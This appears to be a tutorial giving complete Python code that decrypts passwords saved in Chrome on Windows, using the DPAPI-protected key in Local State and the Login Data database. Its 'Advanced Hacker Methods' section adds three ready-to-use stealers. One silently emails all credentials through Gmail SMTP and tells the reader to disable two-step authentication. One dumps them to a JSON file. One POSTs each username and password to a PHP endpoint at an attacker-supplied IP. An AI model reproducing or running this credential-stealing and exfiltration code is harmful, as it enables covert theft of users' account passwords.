How to Extract Chrome Browser Passwords & Send to Gmail using Python:
In this article, we are going to discuss the way to extract all passwords stored within the Chrome browser.
Note: This text is for users who use Chrome on Windows. If you’re a Mac or Linux user, you will have to make some changes to the given path, while the remainder of the Python program will remain the identical.
Installation:
Now, Let’s install some important libraries which we’d like to write down a python program through which we will extract Chrome Passwords Before we extract the password directly from Chrome, we’d like to define some useful functions that may help our main functions.
pip install pycryptodome
pip install pypiwin32
First Function
def chrome_date_and_time(chrome_data): # Chrome_data format is # year-month-date hr:mins:seconds.milliseconds # This will return datetime.datetime Object return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
The chrome_date_and_time() function is answerable for converting Chrome’s date format into a human-readable date and time format.
Chrome Date and time format appear as if this:
'year-month-date hr:mins:seconds.milliseconds'
Example:
2020-06-01 10:49:01.824691
Second Function
def fetching_encryption_key(): # Local_computer_directory_path will # look like this below # C: => Users => <Your_Name> => AppData => # Local => Google => Chrome => User Data => # Local State local_computer_directory_path = os.path.join( os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_computer_directory_path, "r", encoding="utf-8") as f: local_state_data = f.read() local_state_data = json.loads(local_state_data) # decoding the encryption key using base64 encryption_key = base64.b64decode( local_state_data["os_crypt"]["encrypted_key"]) # remove Windows Data Protection API (DPAPI) str encryption_key = encryption_key[5:] # return decrypted key return win32crypt.CryptUnprotectData( encryption_key, None, None, None, 0)[1]
The fetching_encryption_key() function obtains and decodes the AES key accustomed encrypt the password. It’s saved as a JSON go into “C:\Users\\AppData\Local\Google\Chrome\User Data\Local State”.This function are useful for the encrypted key.
Third Function
def password_decryption(password, encryption_key): try: iv = password[3:15] password = password[15:] # generate cipher cipher = AES.new(encryption_key, AES.MODE_GCM, iv) # decrypt password return cipher.decrypt(password)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: return "No Passwords"
import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES import shutil from datetime import timezone, datetime, timedelta def chrome_date_and_time(chrome_data): # Chrome_data format is 'year-month-date # hr:mins:seconds.milliseconds # This will return datetime.datetime Object return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data) def fetching_encryption_key(): # Local_computer_directory_path will look # like this below # C: => Users => <Your_Name> => AppData => # Local => Google => Chrome => User Data => # Local State local_computer_directory_path = os.path.join( os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_computer_directory_path, "r", encoding="utf-8") as f: local_state_data = f.read() local_state_data = json.loads(local_state_data) # decoding the encryption key using base64 encryption_key = base64.b64decode( local_state_data["os_crypt"]["encrypted_key"]) # remove Windows Data Protection API (DPAPI) str encryption_key = encryption_key[5:] # return decrypted key return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1] def password_decryption(password, encryption_key): try: iv = password[3:15] password = password[15:] # generate cipher cipher = AES.new(encryption_key, AES.MODE_GCM, iv) # decrypt password return cipher.decrypt(password)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: return "No Passwords" def main(): key = fetching_encryption_key() db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") filename = "ChromePasswords.db" shutil.copyfile(db_path, filename) # connecting to the database db = sqlite3.connect(filename) cursor = db.cursor() # 'logins' table has the data cursor.execute( "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins " "order by date_last_used") # iterate over all rows for row in cursor.fetchall(): main_url = row[0] login_page_url = row[1] user_name = row[2] decrypted_password = password_decryption(row[3], key) date_of_creation = row[4] last_usuage = row[5] if user_name or decrypted_password: print(f"Main URL: {main_url}") print(f"Login URL: {login_page_url}") print(f"User name: {user_name}") print(f"Decrypted Password: {decrypted_password}") else: continue if date_of_creation != 86400000000 and date_of_creation: print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}") if last_usuage != 86400000000 and last_usuage: print(f"Last Used: {str(chrome_date_and_time(last_usuage))}") print("=" * 100) cursor.close() db.close() try: # trying to remove the copied db file as # well from local computer os.remove(filename) except: pass if __name__ == "__main__": main()
Output:
Advanced Hacker Methods:
Method #1:
Extract Passwords and Remotely Send the file to your Gmail Silently!
(Turn off your 2 step Authentication in your gmail, Otherwise not sending to your gmail)
import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES import shutil import smtplib import subprocess import sys # your gmail credentials email = "your_gmail_address" password = "gmail_password" def get_master_key(): # open the file called Local State to get the master key with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r") as f: local_state = f.read() # load the file as json local_state = json.loads(local_state) # decode the available base64 data master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] # return the final master key return master_key # passsing the cipher to decrypt the payload def decrypt_payload(cipher, payload): return cipher.decrypt(payload) # generating a cipher for the obtained iv with the help of the master_key def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) # decrypt password one by one with the help of master key def decrypt_password(buff, master_key): try: iv = buff[3:15] # only characters between 3-15 are required payload = buff[15:] # remove prefix cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes # returning the decrypted password return decrypted_pass except Exception as e: # if we're unable to decrypt the password, it is because the version is unsupproted return "Unsupproted Chrome Version" # function to send an email def send_mail(email, password, message): # gmail SMTP connection server = smtplib.SMTP("smtp.gmail.com", 587) # tell the server that a connection is being made server.starttls() # login to the email account server.login(email, password) # sending email from your email address to your own email address along with the message server.sendmail(email, email, message) # quit the session after sending a message server.quit() # consists the final message that is to be sent via email total_log = "----Browser Password Extractor By f0rty5ev3n----\n\n" # getting the returned master key by calling the function get_master_key master_key = get_master_key() # actual Login DB location for Chrome # for Microsoft Edge, use AppData\Local\Microsoft\Edge\User Data\Default\Login Data login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data' # making a temp copy since Login Data DB is locked while Chrome is running shutil.copy2(login_db, "Loginvault.db") # connecting to the copied DB conn = sqlite3.connect("Loginvault.db") cursor = conn.cursor() try: # getting url, username and password from the Login DB with the help of sqlite3 cursor.execute("SELECT action_url, username_value, password_value FROM logins") for r in cursor.fetchall(): # define url as a row 0 of the DB url = r[0] # define username as a row 1 of the DB username = r[1] # define encrypted_password as a row 2 of the DB encrypted_password = r[2] # passing the encrypted password to previously defined decrypt_password function and getting the returned final password decrypted_password = decrypt_password(encrypted_password, master_key) # if DB containes more than 0 usernames, then append it to total_log one by one if len(username) > 0: log = ("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n") # adding each credential as a string to the total_log one by one without replacing the current available data in total_log total_log = total_log + str(log) except Exception as e: pass # leave the cursor and close the DB connection safely cursor.close() conn.close() try: # try deleting the temp database at the end os.remove("Loginvault.db") except Exception as e: pass # now that we have all the passwords decrypted in the total_log, we'll call the send_mail function and pass the total_log as a message send_mail(email, password, "\n\n" + total_log)
Method #2:
import os import json import base64 import sqlite3 import win32crypt import shutil import re from datetime import datetime, timedelta from Crypto.Cipher import AES def unix_to_date(unix): return datetime(1601, 1, 1) + timedelta(microseconds=unix) def save_results(*args): result = { "url": args[0], "username": args[1], "password": args[2], "created_date": args[3], "last_used_date": args[4] } with open("results.json", "a") as f: json_obj = json.dumps(result, indent=4, default=str, separators=(',', ':')) f.write(json_obj+"\n") def get_dbs() -> list: databases = [] chrome_path = f'{os.getenv("localappdata")}\\Google\\Chrome\\User Data' try: dict_list = os.listdir(chrome_path) except FileNotFoundError: print(f"Chrome is not installed in this computer.") exit() databases = [f"{chrome_path}\\{i}\\Login Data" for i in dict_list if re.match(r"Profile [-+]?[0-9]+$", i)] if "Default" in dict_list: databases.append(f"{chrome_path}\\Default\\Login Data") return databases def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(password, master_key): try: iv = password[3:15] payload = password[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception as e: return "Probably this password is saved before v80 of chrome" def main(): dbs = get_dbs() key = get_encryption_key() if not dbs: print("Databases not found!") exit() for db in dbs: shutil.copy(db, "db") # creating a copy of the database, sometimes the db is being locked. conn = sqlite3.connect("db") cursor = conn.cursor() try: cursor.execute("SELECT action_url, username_value, password_value, date_created, date_last_used FROM logins") for r in cursor.fetchall(): url = r[0] username = r[1] password = decrypt_password(r[2], key) # r[2] = encrypted_password, and we will decrypt it using the decrypt_password function created_date = unix_to_date(r[3]) date_last_used = unix_to_date(r[4]) if len(password) > 0: save_results(url, username, password, created_date, date_last_used) print(f"{'-'*50}\nWebsite-URL: {url}\nUsername: {username}\nPassword: {password}\nCreated Date: {created_date}\nLast Used Date: {date_last_used}") except Exception as e: print(e) cursor.close() conn.close() try: os.remove("db") except Exception as e: print(e) if __name__ == '__main__': main()
Method #3:
#!/bin/python3 # tutorial taken from https://www.thepythoncode.com/article/extract-chrome-passwords-python # this script extracts passwords from google chrome in windows # adapted to send passwords to a php server import os, sys, requests, json, base64, sqlite3, win32crypt, shutil from Crypto.Cipher import AES from datetime import timezone, datetime, timedelta dst_ip = str(sys.argv[1]) # helpful functions def get_chrome_datetime(chromedate): """Returns a 'datetime.datetime' object from a chrome format datetime because chromedate is formatted as the number of microseconds since January 1601""" return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) # decode the encryption key from b64 key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) # remove DPAPI str key = key[5:] # return the decrypted key using a session key derived from the user's credentials return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] def decrypt_password(password, key): try: # get the IV iv = password[3:15] password = password[15:] # generate cipher cipher = AES.new(key, AES.MODE_GCM, iv) # decrypt password return cipher.decrypt(password)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: # not supported return "" def main(): # get the AES key key = get_encryption_key() #path to the local chrome database db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") # copy the file to another location since the database will be locked when chrome is running filename = "ChromeData.db" shutil.copyfile(db_path, filename) # connect to the database db = sqlite3.connect(filename) cursor = db.cursor() # logins table has the data we need cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") # iterate over rows for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) date_created = row[4] date_last_used = row[5] if username or password: # print(f"Origin URL: {origin_url}") # print(f"Action URL: {action_url}") # print(f"Username: {username}") # print(f"Password: {password}") origin_url = (f"{origin_url}") action_url = (f"{action_url}") username = (f"{username}") password = (f"{password}") else: continue if date_created != 86400000000 and date_created: print(f"Creation date: {str(get_chrome_datetime(date_created))}") if date_last_used != 86400000000 and date_last_used: date_last_used = (f"Last Used: {str(get_chrome_datetime(date_last_used))}") # send info via a post request url = 'http://' + dst_ip + '/ssftp.php?origin_url=' + origin_url + '?action_url=' + action_url + '?username=' + username + '?password=' + password + '?date_last_used=' + date_last_used data = {'origin_url': origin_url, 'action_url': action_url, 'username': username, 'password': password} print(requests.post(url, data = data)) print("="*50) cursor.close() db.close() try: # remove copied file os.remove(filename) except: pass if __name__ == "__main__": main()